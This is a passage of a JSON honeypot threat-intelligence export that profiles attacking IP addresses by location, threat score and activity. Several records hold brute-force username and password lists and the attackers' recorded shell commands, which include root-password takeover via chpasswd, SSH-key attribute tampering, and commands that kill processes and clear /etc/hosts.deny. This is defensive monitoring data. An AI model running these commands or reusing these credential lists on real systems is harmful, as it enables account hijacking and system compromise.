      "first_seen": "2026-05-26T20:04:06.169Z",
      "last_seen": "2026-05-26T20:04:06.238Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 67.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 25,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T02:56:33+00:00",
        "last_seen_30d": "2026-05-29T14:16:07.908000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 15,
        "Cowrie": 2
      }
    },
    "52.233.193.61": {
      "attack_count": 599,
      "first_seen": "2026-05-06T02:58:08.858Z",
      "last_seen": "2026-05-28T18:42:37.521Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "test",
        "git",
        "jupiter",
        "user",
        "user1",
        "administrator",
        "appldev",
        "dbus-helper",
        "dev",
        "developer",
        "felix",
        "ftp_user",
        "ftptest",
        "linux",
        "minecraft",
        "pakchoi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "root",
        "1",
        "11111111",
        "123456",
        "123456789",
        "123QWEasd123",
        "123admin",
        "123qwe,.",
        "159357",
        "1923",
        "23dec1987",
        "369258147",
        "Ab123456@",
        "Abcd@1234",
        "Kermit123@",
        "Pass123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"11111111\\na8WkGh60lzq2\\na8WkGh60lzq2\\n\"|passwd",
        "echo \"jupiter\\n2XaN8APGe7ZC\\n2XaN8APGe7ZC\\n\"|passwd",
        "echo \"root:WXMltK710n6Q\"|chpasswd|bash",
        "echo -e \"11111111\\na8WkGh60lzq2\\na8WkGh60lzq2\"|passwd|bash",
        "echo -e \"jupiter\\n2XaN8APGe7ZC\\n2XaN8APGe7ZC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 785,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:58:08.858000+00:00",
        "last_seen_30d": "2026-05-28T18:43:45.389000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 599,
        "Suricata": 186
      }
    },
    "103.112.214.113": {
      "attack_count": 470,
      "first_seen": "2026-05-21T06:58:51.952Z",
      "last_seen": "2026-05-22T09:42:05.990Z",
      "sessions": 235,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 706,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:58:51.952000+00:00",
        "last_seen_30d": "2026-05-22T09:43:09.361000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 470,
        "Suricata": 236
      }
    },
    "175.0.166.15": {
      "attack_count": 362,
      "first_seen": "2026-05-19T18:08:24.516Z",
      "last_seen": "2026-05-20T13:34:57.160Z",
      "sessions": 181,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 553,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:08:24.516000+00:00",
        "last_seen_30d": "2026-05-20T13:36:04.852000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 191
      }
    },
    "43.153.0.117": {
      "attack_count": 350,
      "first_seen": "2026-05-15T17:34:52.897Z",
      "last_seen": "2026-05-15T18:10:29.355Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "dbus-helper",
        "linux",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "!a@b",
        "0727527122",
        "K0nig@1",
        "Kermit123@",
        "Push@8240",
        "a12345678@",
        "abc123.",
        "adt123",
        "c0ff33",
        "castis",
        "chang3m3",
        "gladstone",
        "ichbins",
        "jane123",
        "marmitta",
        "monalisa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ggvYRVsw6g9l\"|chpasswd|bash",
        "echo \"root:i5xDJAuhp0zI\"|chpasswd|bash",
        "echo \"warnight\\ny042imKGgBsZ\\ny042imKGgBsZ\\n\"|passwd",
        "echo -e \"warnight\\ny042imKGgBsZ\\ny042imKGgBsZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 427,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:34:52.897000+00:00",
        "last_seen_30d": "2026-05-15T18:11:34.564000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 77
      }
    },
    "66.85.30.4": {
      "attack_count": 246,
      "first_seen": "2026-05-17T04:31:47.966Z",
      "last_seen": "2026-05-17T04:54:21.672Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweqwe",
        "1qasw23edfr45tghy67uj",
        "2013",
        "20192019",
        "8ik,9ol.0p;/",
        "Mobile@123",
        "Password123x",
        "admin123$%^",
        "convergence",
        "cpe1704tks",
        "had00p",
        "hoang",
        "invite",
        "jhy",
        "jmartin",
        "manager1",
        "patrick",
        "qazxsw1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FAu4EoHXwaRF\"|chpasswd|bash",
        "echo \"root:P5lxL6P1OkrO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 54643,
      "as_org": "Idigital Internet Inc.",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:31:47.966000+00:00",
        "last_seen_30d": "2026-05-17T04:55:23.286000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 57
      }
    },
    "197.225.146.23": {
      "attack_count": 236,
      "first_seen": "2026-05-17T21:53:43.651Z",
      "last_seen": "2026-05-17T22:25:43.543Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123456",
        "123.qwe",
        "123456Rh",
        "1234Qwert",
        "2014",
        "Palworld",
        "Test2018",
        "_",
        "admin-1234",
        "airwolf",
        "bmw123",
        "joseph",
        "newworld",
        "police",
        "student7",
        "tearmann",
        "wpadmin",
        "z1x2c3v4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Ddq2PQ0AAJ9k\"|chpasswd|bash",
        "echo \"root:ZZuYH9ikgMYE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": "Rose Hill",
      "asn": 23889,
      "as_org": "MauritiusTelecom",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:53:43.651000+00:00",
        "last_seen_30d": "2026-05-17T22:26:48.479000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "103.176.90.41": {
      "attack_count": 204,
      "first_seen": "2026-05-09T01:28:59.202Z",
      "last_seen": "2026-05-31T11:09:50.032Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 328867,
      "as_org": "CBS-AS",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:28:59.202000+00:00",
        "last_seen_30d": "2026-05-31T11:10:53.899000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 102
      }
    },
    "171.25.158.68": {
      "attack_count": 167,
      "first_seen": "2026-05-24T04:06:52.094Z",
      "last_seen": "2026-05-27T00:11:58.278Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "user1",
        "cs",
        "ftp_client",
        "info",
        "manish",
        "sonar",
        "ubuntu",
        "webdev",
        "ya"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "1qaz!QAZ2wsx",
        "Test@1234",
        "Voidsetdownload.so",
        "Zxc123!@#",
        "abc123#@!",
        "abc@123",
        "manish",
        "pw",
        "qwqwqw",
        "root.2025",
        "sonar@123",
        "webdev"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc@123\\n88qkHz00cnrp\\n88qkHz00cnrp\\n\"|passwd",
        "echo -e \"abc@123\\n88qkHz00cnrp\\n88qkHz00cnrp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:06:52.094000+00:00",
        "last_seen_30d": "2026-05-27T00:13:07.292000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 167,
        "Suricata": 49
      }
    },
    "41.60.234.226": {
      "attack_count": 164,
      "first_seen": "2026-05-22T09:59:44.230Z",
      "last_seen": "2026-05-22T20:31:25.983Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:59:44.230000+00:00",
        "last_seen_30d": "2026-05-22T20:32:28.646000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 82
      }
    },
    "194.120.230.72": {
      "attack_count": 162,
      "first_seen": "2026-05-11T19:02:43.847Z",
      "last_seen": "2026-05-31T11:03:52.972Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 52.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:02:43.847000+00:00",
        "last_seen_30d": "2026-05-31T11:04:54.696000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "152.32.131.112": {
      "attack_count": 144,
      "first_seen": "2026-05-23T18:59:43.604Z",
      "last_seen": "2026-05-23T20:09:43.180Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "aiftp",
        "bbb",
        "consultor",
        "developer",
        "hamza",
        "karim",
        "kwang",
        "marco",
        "marissa",
        "pool",
        "postgres",
        "rakesh"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "456852",
        "Test1234567890!",
        "aA123456",
        "admin123",
        "aiftp",
        "bbb",
        "consultor",
        "karim123",
        "kwang",
        "marissa",
        "password",
        "rakesh@123",
        "ubuntu123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu123!\\nRvHKx482l5SI\\nRvHKx482l5SI\\n\"|passwd",
        "echo -e \"ubuntu123!\\nRvHKx482l5SI\\nRvHKx482l5SI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:59:43.604000+00:00",
        "last_seen_30d": "2026-05-23T20:10:48.819000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 45
      }
    },
    "95.58.255.251": {
      "attack_count": 143,
      "first_seen": "2026-05-23T19:31:15.332Z",
      "last_seen": "2026-05-23T20:22:02.444Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ahmad",
        "bot",
        "kafka",
        "logger",
        "psy",
        "rene",
        "salim",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "0",
        "1234",
        "12345678",
        "12345678!",
        "159357",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456789",
        "Aa1234567.",
        "Aa321321",
        "Password123456",
        "ahmad",
        "live",
        "logger",
        "rene",
        "root1234.",
        "salim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:zL76YSneF9Pg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:31:15.332000+00:00",
        "last_seen_30d": "2026-05-23T20:23:08.350000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "168.167.228.74": {
      "attack_count": 131,
      "first_seen": "2026-05-24T21:45:22.899Z",
      "last_seen": "2026-05-24T23:01:14.276Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "alex",
        "curl",
        "git",
        "krish",
        "rc",
        "trading",
        "tst"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "12345",
        "123qweASD!@#",
        "Lin123456",
        "Wangsu@2017",
        "admin123456",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "krish",
        "qweqwe123123",
        "qwerty23",
        "r00t1234!",
        "robin123",
        "rootpass",
        "tst",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": "Gaborone",
      "asn": 14988,
      "as_org": "BTC-GATE1",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:45:22.899000+00:00",
        "last_seen_30d": "2026-05-24T23:02:16.031000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 131,
        "Suricata": 56
      }
    },
    "185.102.213.108": {
      "attack_count": 126,
      "first_seen": "2026-05-02T02:55:34.798Z",
      "last_seen": "2026-05-02T03:04:57.322Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 35041,
      "as_org": "Binero AB",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:55:34.798000+00:00",
        "last_seen_30d": "2026-05-02T03:06:00.151000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 120
      }
    },
    "144.31.159.28": {
      "attack_count": 123,
      "first_seen": "2026-05-20T04:33:43.596Z",
      "last_seen": "2026-05-20T05:02:02.768Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "remote",
        "ubuntu",
        "345gs5662d34",
        "claude",
        "flip",
        "grid",
        "marina",
        "mysqld",
        "oracle",
        "postgres",
        "root1",
        "test",
        "xxx"
      ],
      "passwords_attempted": [
        "123456",
        "!234qwer",
        "12345678",
        "12369874",
        "123@123a",
        "3245gs5662d34",
        "345gs5662d34",
        "Claude2026!",
        "P@ssw0rd#2022",
        "P@ssword123",
        "Pass123",
        "Passw0rd!",
        "Star@2025",
        "abc@123",
        "abcABC123",
        "flip",
        "marina",
        "mysqld",
        "nE7jANo",
        "p@ssw0rd123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202051,
      "as_org": "Netgrid Host Ltd",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
